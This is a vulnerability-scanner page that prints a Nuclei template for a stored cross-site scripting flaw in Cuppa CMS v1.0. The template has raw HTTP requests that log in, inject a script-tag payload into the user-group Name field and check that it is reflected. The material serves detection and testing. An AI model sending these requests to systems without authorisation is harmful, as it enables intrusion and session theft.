Cuppa CMS v1.0 - Cross Site Scripting

ID: CVE-2022-38295

Severity: medium

Author: theamanrawat

Tags: cve2022,cve,xss,cuppa,authenticated,cuppacms

Description

Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.

YAML Source

id: CVE-2022-38295

info:
  name: Cuppa CMS v1.0 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38295
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38295
    cwe-id: CWE-79
    epss-score: 0.0024
    epss-percentile: 0.61973
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve2022,cve,xss,cuppa,authenticated,cuppacms

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/classes/functions.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id_field=0&name_field="><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"><script>alert(document.domain)</script>'
          - 'cuppa_html'
        condition: and

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204f76638bcd8f5d30214fed0ac88ae395e6f74dd531a0f9c39dba740f5786616e0221009d8d5b97d47461f8b873f4d3745638e2d0c86955159d6e890f94009839c7a6a9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-38295.yaml"

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